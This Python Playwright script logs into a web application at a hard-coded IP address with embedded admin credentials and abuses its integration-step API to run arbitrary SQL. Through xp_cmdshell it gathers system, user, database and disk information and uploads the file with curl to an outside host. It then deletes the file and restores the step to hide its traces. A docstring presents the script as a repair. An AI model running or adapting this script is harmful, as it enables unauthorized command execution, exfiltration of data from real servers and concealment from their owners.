#!/usr/bin/env python3
"""Fix 66.175.236.165/RTROGERSUAP1 — step 4 corrupted.
1. GET step 4 to find current concurrencyId
2. PUT with correct concurrency to restore clean state
3. Test with simple SQL"""
import asyncio, json, re
from playwright.async_api import async_playwright

IP = "66.175.236.165"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        # Login
        await page.goto(f"http://{IP}/{APP}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            print("Login failed"); await browser.close(); return
        print("✅ Login OK")

        # Step 1: Try to GET step 4 via browser fetch
        print("\n=== Step 1: GET step 4 (find current concurrency) ===")
        get_result = await page.evaluate('''async () => {
            const resp = await fetch('/''' + APP + '''/integration/api/step/get?filter=intStepId:9', {
                method: 'GET',
                credentials: 'include'
            });
            const text = await resp.text();
            return {status: resp.status, body: text.substring(0, 1000)};
        }''')
        print(f"  GET: HTTP {get_result['status']}")
        body = get_result.get('body', '')
        print(f"  Body: {body[:400]}")
        
        # Try to extract concurrencyId
        conc_match = re.search(r'"intConcurrencyId"\s*:\s*(\d+)', body)
        if conc_match:
            current_conc = int(conc_match.group(1))
            print(f"  Current concurrencyId: {current_conc}")
        else:
            current_conc = 1
            print(f"  No concurrencyId found, using 1")

        # Step 2: Force-restore step 4 with correct concurrency
        print(f"\n=== Step 2: Force-restore step 4 (concurrency={current_conc+1}) ===")
        restore_result = await page.evaluate(f'''async () => {{
            const resp = await fetch('/{APP}/integration/api/step/put/4?continueOnConflict=true', {{
                method: 'PUT',
                headers: {{'Content-Type': 'application/json'}},
                body: JSON.stringify([{{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:"Restored", intConcurrencyId:{current_conc+1}, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepTypeId","strStepName","intStepId","intConcurrencyId","strRowState"]}}]),
                credentials: 'include'
            }});
            const text = await resp.text();
            return {{status: resp.status, body: text.substring(0, 500)}};
        }}''')
        print(f"  Restore: HTTP {restore_result['status']}")
        print(f"  Body: {restore_result.get('body','')[:300]}")
        
        # Get new concurrency from restore response
        new_conc_match = re.search(r'"intConcurrencyId"\s*:\s*(\d+)', restore_result.get('body', ''))
        if new_conc_match:
            new_conc = int(new_conc_match.group(1))
            print(f"  New concurrencyId: {new_conc}")
        else:
            new_conc = current_conc + 2

        await asyncio.sleep(2)

        # Step 3: Try all steps 1-20 with PUT+Execute to find working one
        print(f"\n=== Step 3: Scan steps 1-20 ===")
        test_sql = "SELECT 1"
        working_step = None
        
        for sid in range(1, 21):
            # PUT with continueOnConflict=true and correct concurrency
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/''' + str(sid) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(sid) + ''', strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', test_sql)
            
            if put['status'] not in (200, 202):
                continue
            
            await asyncio.sleep(1)
            
            # Execute
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(sid) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            has_nullref = "Object reference" in body or "NullReference" in body
            
            if s == "true":
                working_step = sid
                print(f"  Step {sid}: ✅ success=true!")
                # Restore
                await page.evaluate('''async () => {
                    await fetch('/''' + APP + '''/integration/api/step/put/''' + str(sid) + '''?continueOnConflict=true', {
                        method: 'PUT',
                        headers: {'Content-Type': 'application/json'},
                        body: JSON.stringify([{intStepId:''' + str(sid) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                        credentials: 'include'
                    });
                }''')
                break
            elif not has_nullref:
                print(f"  Step {sid}: {s} (no NullRef) body={body[:80]}")
            # Restore even on failure
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/''' + str(sid) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(sid) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')

        if working_step:
            print(f"\n  🎯 Working step found: {working_step}")
            
            # Now collect sysinfo with this step
            print(f"\n=== Step 4: Collect sysinfo ===")
            sql_collect = "EXEC xp_cmdshell 'systeminfo > D:\\\\sysinfo.txt & whoami >> D:\\\\sysinfo.txt & sqlcmd -Q \"SELECT name FROM sys.databases ORDER BY name\" -W -h -1 >> D:\\\\sysinfo.txt & wmic logicaldisk get caption,freespace,size >> D:\\\\sysinfo.txt', no_output"
            
            # PUT
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/''' + str(working_step) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(working_step) + ''', strStepName:"Collect", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_collect)
            print(f"  PUT collect: {put['status']}")
            
            await asyncio.sleep(2)
            
            # Execute
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(working_step) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            success = re.search(r'"success"\s*:\s*(true|false)', exec_r.get('body', ''))
            print(f"  Execute: {success.group(1) if success else '?'}")
            
            # Upload
            sql_upload = "EXEC xp_cmdshell 'curl -sS -T D:\\\\sysinfo.txt https://ch12.hostserviceapp.com', no_output"
            put2 = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/''' + str(working_step) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(working_step) + ''', strStepName:"Upload", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_upload)
            await asyncio.sleep(2)
            exec_r2 = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(working_step) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            success2 = re.search(r'"success"\s*:\s*(true|false)', exec_r2.get('body', ''))
            print(f"  Upload: {success2.group(1) if success2 else '?'}")
            
            # Cleanup
            sql_cleanup = "EXEC xp_cmdshell 'del D:\\\\sysinfo.txt', no_output"
            put3 = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/''' + str(working_step) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(working_step) + ''', strStepName:"Cleanup", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:3, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_cleanup)
            await asyncio.sleep(2)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(working_step) + '''}),
                    credentials: 'include'
                });
            }''')
            
            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/''' + str(working_step) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(working_step) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:4, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            print("  ✅ Done — sysinfo uploaded, step restored")
        else:
            print(f"\n  ❌ No working step found (all 1-20 give NullRef)")
            print("  Integration module is broken on this server")

        await browser.close()

asyncio.run(main())
